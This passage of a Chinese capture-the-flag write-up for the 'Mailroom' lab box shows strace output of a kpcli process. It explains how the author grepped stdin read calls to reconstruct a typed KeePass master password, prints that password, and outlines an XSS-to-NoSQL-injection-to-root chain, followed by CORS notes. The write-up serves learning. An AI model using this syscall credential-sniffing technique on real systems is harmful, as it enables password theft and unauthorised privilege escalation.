read(3, "o", 1)                         = 1
read(3, "w", 1)                         = 1
read(3, " ", 1)                         = 1
read(3, "-", 1)                         = 1
read(3, "f", 1)                         = 1
read(3, " ", 1)                         = 1
read(3, "0", 1)                         = 1
read(3, "\n", 1)                        = 1
read(3, "q", 1)                         = 1
read(3, "u", 1)                         = 1
read(3, "i", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "\n", 1)                        = 1
read(7, "# NOTE: Derived from blib/lib/Te"..., 8192) = 665
read(7, "", 8192)                       = 0
+++ exited with 0 +++

因为密码多半是我们从终端输入进去程序的,所以我们查看read的系统调用,之所以寻找调用read(0 的 的信息,0是标准输入流stdin,也就是我们的输入

matthew@mailroom:~$ cat log.txt | grep "read(0" | grep " 1"
read(0, "!", 8192)                      = 1
read(0, "s", 8192)                      = 1
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, "U", 8192)                      = 1
read(0, "r", 8192)                      = 1
read(0, "3", 8192)                      = 1
read(0, "p", 8192)                      = 1
read(0, "4", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "w", 8192)                      = 1
read(0, "0", 8192)                      = 1
read(0, "1", 8192)                      = 1
read(0, "\10", 8192)                    = 1
read(0, "r", 8192)                      = 1
read(0, "d", 8192)                      = 1
read(0, "9", 8192)                      = 1
read(0, "\n", 8192)                     = 1
matthew@mailroom:~$

matthew@mailroom:~$ cat readlog.txt  | grep "read(0" | grep " = 1"
read(0, "!", 8192)                      = 1
read(0, "s", 8192)                      = 1
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, "U", 8192)                      = 1
read(0, "r", 8192)                      = 1
read(0, "3", 8192)                      = 1
read(0, "p", 8192)                      = 1
read(0, "4", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "w", 8192)                      = 1
read(0, "0", 8192)                      = 1
read(0, "1", 8192)                      = 1
read(0, "\10", 8192)                    = 1
read(0, "r", 8192)                      = 1
read(0, "d", 8192)                      = 1
read(0, "9", 8192)                      = 1
read(0, "\n", 8192)                     = 1

在这里\10 模拟了删除的操作,对照 ascii 表 8进制可以看到

-_- 终极坑点 半天也没有想到 感谢 前辈

Refer:ASCII Chart (daleswanson.org)

在这里插入图片描述

key

key 密码:!sEcUr3p4$$w0rd9

在这里插入图片描述

最后复制root acc 拿到root权限

总结

本靶机还是一个十分有挑战性的靶机,首先突破点依旧是80端口,但是遇到我少见的利用xss来进行进一步的渗透

信息收集子域名,子域名的爆破还是十分重要的 和我们日常的渗透测试也一样

通过xss -> nosql注入 -> 拿到tristan ssh 密码 - > 拿到容器的shell ,寻找敏感信息 -> 成功拿到用户 matthew 的credentials

-> 收集信息 当前用户目录下 kdbx文件 keePass 软件可以进行查看 但是需要 key -> 通过 strace 查看 kpcli 进程的系统调用

分析系统调用 拿到 key - > root

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k94LsiIJ-1682784542739)(Mailroom.assets/image-20230420180918324.png)]

CORS

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests

同源策略,就是为了安全性来设计的

比如存在两个域名 http://a.com 和 http://b.com

http://a.com 向 http://b.com 发起 image css script 等内容的时候是不会触发同源策略不会拦截的

但是当 http://a.com 向 http://b.com 发起ajax请求的时候是会触发同源策略被浏览器拦截的

但是有时候我们又不得不有这样的需求 ,同源策略就是来解决这个问题的

基本的思想就是:在服务端你可以指定你想要同意发起请求的域名,比如http://a.com向http://b.com发起请求后,http://b.com 在收到请求的时候 给响应包中添加 Access-Control-Allow-Origin:"*"http头信息表示允许所有的域名来请求,浏览器解析响应的时候,看见带有这个头就不会拦截响应了

Requests with credentials

The most interesting capability exposed by both XMLHttpRequest or Fetch and CORS is the ability to make “credentialed” requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-origin XMLHttpRequest or Fetch invocations, browsers will not send credentials. A specific flag has to be set on the XMLHttpRequest object or the Request constructor when it is invoked.

默认使用 xmlHttpRequest 或者 Fetch 发起请求的时候是不会携带身份信息的,只有当请求头中 Request with credentials 设置为true的时候才会携带身份认证信息

If a request includes a credential (most commonly a Cookie header) and the response includes an Access-Control-Allow-Origin: * header (that is, with the wildcard), the browser will block access to the response, and report a CORS error in the devtools console.

如果一个请求带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是使用通配符的方式,浏览器会拦截响应并且爆出 CORS Error

But if a request does include a credential (like the Cookie header) and the response includes an actual origin rather than the wildcard (like, for example, Access-Control-Allow-Origin: https://example.com), then the browser will allow access to the response from the specified origin.

如果一个请求确实带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是并不是使用通配符的方式,而是具体的schem://domain:port,浏览器会将会正常通过

Also note that any Set-Cookie response header in a response would not set a cookie if the Access-Control-Allow-Origin value in that response is the “*” wildcard rather an actual origin.

如果在响应头里面存在Set-Cookie 但是 Access-Control-Allow-Origin是通配符 * 而不是一个实际的值,那么set cookie 的操作也不会生效

xmlHttpRequest 或者 Fetch 发起请求的时候是不会携带身份信息的,只有当请求头中 Request with credentials 设置为true的时候才会携带身份认证信息

If a request includes a credential (most commonly a Cookie header) and the response includes an Access-Control-Allow-Origin: * header (that is, with the wildcard), the browser will block access to the response, and report a CORS error in the devtools console.

如果一个请求带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是使用通配符的方式,浏览器会拦截响应并且爆出 CORS Error

But if a request does include a credential (like the Cookie header) and the response includes an actual origin rather than the wildcard (like, for example, Access-Control-Allow-Origin: https://example.com), then the browser will allow access to the response from the specified origin.

如果一个请求确实带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是并不是使用通配符的方式,而是具体的schem://domain:port,浏览器会将会正常通过

Also note that any Set-Cookie response header in a response would not set a cookie if the Access-Control-Allow-Origin value in that response is the “*” wildcard rather an actual origin.

如果在响应头里面存在Set-Cookie 但是 Access-Control-Allow-Origin是通配符 * 而不是一个实际的值,那么set cookie 的操作也不会生效

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/62793.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机二级请假条,请假条的范文标准版

请假条的范文标准版 因为请假的原因&#xff0c;请假条分为请病假和请事假两种。下面是小编为大家搜集了请假条范文标准版&#xff0c;供大家参考借鉴。 请假条范文标准版(一) 尊敬的_______________&#xff1a; 您好!我是余坊中心校的教师_________&#xff0c;因为_________…

如何在电脑上制作请假条表格_单位请假条表格

单位请假条表格 尊敬的领导&#xff1a; 您好! 我是 部(门)的 (姓名)&#xff0c;因为 (原因)&#xff0c;需要请假(时间)从 年 月 日 到 年 月 日 &#xff0c;共( )天假&#xff0c;请假期间有效联系方式&#xff1a; 。 恳请领导批准&#xff0c;谢谢! 综合部负责人(签字)&a…

html5请假页面,请假模版。.html

&#xfeff;请假模版。 $axure.utils.getTransparentGifPath function() { return resources/images/transparent.gif; }; $axure.utils.getOtherPath function() { return resources/Other.html; }; $axure.utils.getReloadPath function() { return resources/reload.htm…

用DW中的HTML写一个请假条,关于请假条的问题帮忙!谢谢我现在

2007-03-09 急..帮忙用英语翻译一下请假条( 我没有买到2月24日从A地到B地的火车票,马上去找飞机票时又发现最快也只有27号下午的票。因此26号不能按时赶回学校上课 这不是请假条&#xff0c;只是一封信&#xff0c;所以你只需要表达清含义&#xff0c;语言礼貌就可以了。 Dear …

恶搞请假条

看到一堆人写这东西还收费&#xff0c;我就佛了&#xff0c;特喵我直接弄了一个&#xff0c;代码都差不多 &#xff0c;各位朋友拿去用&#xff01; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>请…

基于信捷PLC和TouchWin的花式喷水池设计

方案描述&#xff1a; 一、控制任务和功能要求 图1 喷水池示意图 在图1中&#xff0c;有4组喷头组&#xff0c;每组有5个喷头&#xff0c;4为中间喷水组&#xff0c;3为内环状喷头组&#xff0c;2为一次外环形状喷头组&#xff0c;1为外环形状喷头组。 1.PLC功能要求 &#…

花式秀恩爱,利用Python给情书加密,让女朋友甜蜜满满

不知道你们有没有试过有趣的表白情节&#xff1f;以前网上流行发一串摩斯密码&#xff0c;然后解密出来就是一个i love you.今天给你们来带你更高级的加密表白。异或加密情书。 之前我做的c版本的异或加密解密得到不错的成绩。这次用python再做一遍。 首先先上效果图。 私信小…

不写情书,程序员为什么还要学写作?

跟小伙伴们一样,老兵哥也年轻过,在花季雨季也写过情书,不过经常石沉大海。当时特别希望自己的文笔好一些,像小说影视作品中的男猪脚那样一封书信就可以俘获菇凉的芳心。现今娃娃都能打酱油了,原来情书的效用早就被工资卡替代了,情人节也不用送礼物了,直接发红包折现。写…

【花式表白】,情书加密,这样泡小师妹,没跑了

【花式表白】&#xff0c;情书加密&#xff0c;这样泡小师妹&#xff0c;没跑了。 首先先上效果图。 文件a是初始文本&#xff0c;文件b是由文件a加密而成的。我们发给小师妹的文件可以是b文件。而c文件则是由b文件解密出来的。 其中如果输入错了解密的密码&#xff0c;就会…

快使用Snackbar!——Android Snackbar花式使用指南

本文是在《Design Support Library第三部分&#xff1a;Snackbar样式》和《Snackbar使用及其注意事项》两篇文章的启发下而来&#xff0c;首先对两篇文章的作者表示感谢。 Snackbar是Android Support Design Library库中的一个控件&#xff0c;可以在屏幕底部快速弹出消息&…

y的花式写法_y的花式写法_26个字母的花式写法,总有一个你喜欢哒

一千零一夜|第五百七十九夜 简书 一张叶小绘 哈喽大家好&#xff0c;我是随身携带一只笔、随时练字的手帐er叶小绘(*^ω^*) 好久不见哇&#xff0c;因为这次整理了26个字母的书写idea&#xff0c;在忙碌的工作、满当当的网课进修的时间间隙创作&#xff0c;断断续续花了好几天的…

python3花式秀操作--文件读写

0x01 输出重定向文件 with open("test.txt","wt") as f:print("nihao",filef) 0x02 一句话写文件 [open("test.txt","at").write(str(i)"\n") for i in range(10)] - 解析&#xff1a; 此种方法需要用采用追加…

ArcGIS出图时如何制作花式边框

喜欢就关注我们吧&#xff01; 制图时候我们的边框一般是简单的实线边框。 如何给我们的图加上一些花式边框呢&#xff1f; 01 视频教学 ArcGIS制作花式边框 需要花式边框就可以留言哦&#xff01; 推荐学习 ArcGIS在国土空间城乡规划中的实战应用 ArcGIS之模型构建器&#x…

计算机系学霸情书,拿最高得分写最动人的话,学霸才是情书界高端玩家!

文丨超人妈妈 很多网友说在现在的网络时代&#xff0c;千兆时代&#xff0c;爱情也被加了千兆、万兆的速度&#xff0c;那种车马很慢&#xff0c;一生只够爱一个人的情感&#xff0c;对当代人来说就像是乌托邦一般的存在。 对于很多大学生而言&#xff0c;在对异性表达感情是还…

团队密码管理器Passbolt的安装

老苏下载了吴恩达联手 OpenAI 推出的 Prompt for developer 课程&#xff0c;总长度大概在一个半小时左右&#xff0c;可以让我们学习正确的 ChatGPT Prompt 工程 虽然课程对话是英文&#xff0c;但有中文字幕&#xff0c;课程地址&#xff1a;https://www.aliyundrive.com/s/…

小程序 this.getOpenerEventChannel is not a function

小程序新出功能&#xff0c;页面跳转后通过事件的发布订阅&#xff0c;实现页面间数据的传递&#xff0c;但我在使用过程中发现个大bug 官方文档 https://developers.weixin.qq.com/miniprogram/dev/api/route/wx.navigateTo.html this.getOpenerEventChannel is not a functi…

uni-app打包成微信小程序后再开发运行时微信开发者工具没反应

前端小白的uni-app框架的艰难学习之路 问题 打包过的uni-app项目&#xff0c;想要继续开发&#xff0c;却发现一直都提示编译完成&#xff0c;而微信开发者工具也没有反应&#xff0c;不像未打包之前保存即刷新&#xff0c;这个问题我困扰了许久&#xff0c;后来终于发现了问…

【微信小程序】运行机制和更新机制

&#x1f352;观众老爷们好呀&#xff0c;牛牛又更文了&#xff0c;上文我们对部分比较常用的组件进行了讲解&#xff0c;作为开发者&#xff0c;我们还需要对小程序的运行机制和更新机制做一定的了解&#xff0c;那问题来了&#xff0c;你对它们了解多少呢&#xff1f; &#…

小程序进入页面控制台报wx.openChannelsUserProfile is not a function

今天拉取代码发现有冲突,内容还挺多,懒得修改,直接删掉重新下载. 冲突是解决了,进入首页发现报wx.openChannelsUserProfile is not a function,小程序是能正常使用的. 网友大佬说是调试库版本低于2.10.x 地址 :https://blog.csdn.net/fqfq123456/article/details/119633765 我…

hb运行到微信小程序出现报错:[微信小程序开发者工具] ? Enable IDE Service (y/N) 

背景&#xff1a; 换了台电脑&#xff0c;发现hb运行到微信小程序的时候出错了 18:09:17.800 [微信小程序开发者工具] ? Enable IDE Service (y/N) [27D[27C 18:09:17.803 [微信小程序开发者工具] - initialize 18:09:17.803 [微信小程序开发者工具] 18:09:17.807 [微信小程…